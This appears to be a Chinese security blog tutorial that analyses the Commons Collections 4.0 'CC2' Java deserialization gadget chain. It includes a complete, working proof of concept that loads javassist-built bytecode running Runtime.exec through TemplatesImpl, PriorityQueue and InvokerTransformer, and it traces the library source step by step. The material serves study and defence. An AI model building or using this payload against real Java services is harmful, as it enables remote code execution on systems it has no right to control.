Java安全 CC链2分析
- cc链2介绍
- 前置知识
- 环境配置
- 类加载机制
- 触发流程
- cc链2POC
- cc链2分析
cc链2介绍
CC2链适用于Apache common collection 4.0版本,由于该版本对AnnotationInvocationHandler类的readObject方法进行了修复,导致cc链1无法使用,故产生了cc链2,cc链2与cc链3相似,都使用了字节码的加载,并且后续的触发链也基本相同
前置知识
环境配置
有关环境配置请看
Java安全 CC链1分析
不同的是由于我们需要使用的版本为cc4,故需要设置pom.xml文件依赖内容如下
<dependencies><dependency><groupId>org.javassist</groupId><artifactId>javassist</artifactId><version>3.19.0-GA</version></dependency><dependency><groupId>org.apache.commons</groupId><artifactId>commons-collections4</artifactId><version>4.0</version></dependency></dependencies>
类加载机制
可以看这篇文章
Java安全 CC链3分析
触发流程
ysoserial中给出的链
ObjectInputStream.readObject()PriorityQueue.readObject()PriorityQueue.heapify();PriorityQueue.siftDown();siftUpUsingComparator();TransformingComparator.compare()InvokerTransformer.transform()Method.invoke()Runtime.exec()
cc链2POC
package org.example;import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;public class cc2 {public static void main(String[] args) throws Exception {String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";ClassPool classPool=ClassPool.getDefault();//返回默认的类池classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径CtClass payload=classPool.makeClass("cc2");//创建一个新的public类payload.setSuperclass(classPool.get(AbstractTranslet)); //设置父类为AbstractTransletpayload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个空的类初始化,设置构造函数主体为runtimebyte[] bytes=payload.toBytecode();//转换为byte数组Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImplField field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段field.setAccessible(true);//暴力反射field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段field1.setAccessible(true);//暴力反射field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为testInvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。queue.add(1);//添加数字1插入此优先级队列queue.add(1);//添加数字1插入此优先级队列Field field2=queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段field2.setAccessible(true);//暴力反射field2.set(queue,comparator);//设置queue的comparator字段值为comparatorField field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段field3.setAccessible(true);//暴力反射field3.set(queue,new Object[]{templatesImpl,templatesImpl});//设置queue的queue字段内容Object数组,内容为templatesImplObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));outputStream.writeObject(queue);outputStream.close();ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));inputStream.readObject();}
}
cc链2分析
先看下PriorityQueue类
中的readObject方法
,代码如下
private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException {s.defaultReadObject();s.readInt();queue = new Object[size];for (int i = 0; i < size; i++)queue[i] = s.readObject();heapify();}
这里我们发现,会先调用defaultReadObject()方法
将序列化文件反序列化,然后调用readInt()方法
获取优先队列的长度
然后执行 queue[i] = s.readObject()
,将优先队列的值赋值给queue[i]数组
,queue[i]数组值是在调用writeObject方法序列化时定义的,
queue属性为私有的,我们可以通过反射将其赋值为携带有恶意字节码的
TemplatesImpl
对象,具体利用下面有讲
在对queue[i]
循环赋值完成后会调用heapify()方法
,我们跟进查看其代码
private void heapify() {for (int i = (size >>> 1) - 1; i >= 0; i--)siftDown(i, (E) queue[i]);}
我们看到代码 int i = (size >>> 1) - 1;
,此代码会将优先队列的长度右移1位(缩小两倍),然后减1,如果我们想让循环正常进行的话,优先队列的长度至少为2
然后我们看到循环中的 siftDown方法
,代码如下
private void siftDown(int k, E x) {if (comparator != null)siftDownUsingComparator(k, x);elsesiftDownComparable(k, x);}
这里E x
则为刚才传入的queue[i]
,我们跟进到siftDownUsingComparator方法
,代码如下
private void siftUpUsingComparator(int k, E x) {while (k > 0) {int parent = (k - 1) >>> 1;Object e = queue[parent];if (comparator.compare(x, (E) e) >= 0) //由此进入break;queue[k] = e;k = parent;}queue[k] = x;}
这里会对queue[i]
执行comparator.compare
方法,我们看到comparator属性
的定义如下
private final Comparator<? super E> comparator;
我们发现comparator属性
为私有的,在poc当中通过反射把该属性的值设为了TransformingComparator对象
,代码如下
InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象
我们跟进到该对象的compare方法
,代码如下
public int compare(final I obj1, final I obj2) {final O value1 = this.transformer.transform(obj1);final O value2 = this.transformer.transform(obj2);return this.decorated.compare(value1, value2);}
这里调用了InvokerTransformer对象
**(transformer属性)**的transform方法
,我们跟进查看代码
public O transform(final Object input) {if (input == null) {return null;}try {final Class<?> cls = input.getClass();final Method method = cls.getMethod(iMethodName, iParamTypes);return (O) method.invoke(input, iArgs);} catch (final NoSuchMethodException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" +input.getClass() + "' does not exist");} catch (final IllegalAccessException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" +input.getClass() + "' cannot be accessed");} catch (final InvocationTargetException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" +input.getClass() + "' threw an exception", ex);}}
这里的input属性
仍为之前的queue[i]
,iMethodName属性
的值为我们创建对象时,通过构造方法穿进去的"newTransformer"
method.invoke(input, iArgs);
这句代码会调用queue[i]
的newTransformer
方法
poc中的queue[0]
被赋值为TemplatesImpl对象
,定义如下
Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段field3.setAccessible(true);//暴力反射field3.set(queue,new Object[]{templatesImpl,templatesImpl});//templatesImpl即为携带恶意静态代码的对象
下面流程基本和cc3相同了
我们跟进到TemplatesImpl对象
的newTransformer
方法,代码如下
public synchronized Transformer newTransformer()throws TransformerConfigurationException{TransformerImpl transformer;transformer = new TransformerImpl(getTransletInstance(), _outputProperties,_indentNumber, _tfactory); //关键语句if (_uriResolver != null) {transformer.setURIResolver(_uriResolver);}if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {transformer.setSecureProcessing(true);}return transformer;}
我们代码中标注的关键语句调用了getTransletInstance()
方法,我们查看其代码如下
private Translet getTransletInstance()throws TransformerConfigurationException {try {if (_name == null) return null;if (_class == null) defineTransletClasses();AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
……………………}
可以看到假如满足if (_name != null)
且if (_class == null)
的话会调用defineTransletClasses()方法
,代码如下
private static String ABSTRACT_TRANSLET= "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
private void defineTransletClasses()throws TransformerConfigurationException {if (_bytecodes == null) {ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);throw new TransformerConfigurationException(err.toString());}
…………for (int i = 0; i < classCount; i++) {_class[i] = loader.defineClass(_bytecodes[i]);final Class superClass = _class[i].getSuperclass(); //注意if (superClass.getName().equals(ABSTRACT_TRANSLET)) {_transletIndex = i;}
…………}
这里会加载携带恶意静态代码的字节流类_bytecodes
复制给数组_class[i]
,然后回到getTransletInstance()
方法
执行AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
这里会将刚才携带恶意代码的类进行初始化执行静态恶意代码,到此攻击完成
需要注意的是我们构造的这个字节流序列化对象要为AbstractTranslet类
的子类
成功弹出计算器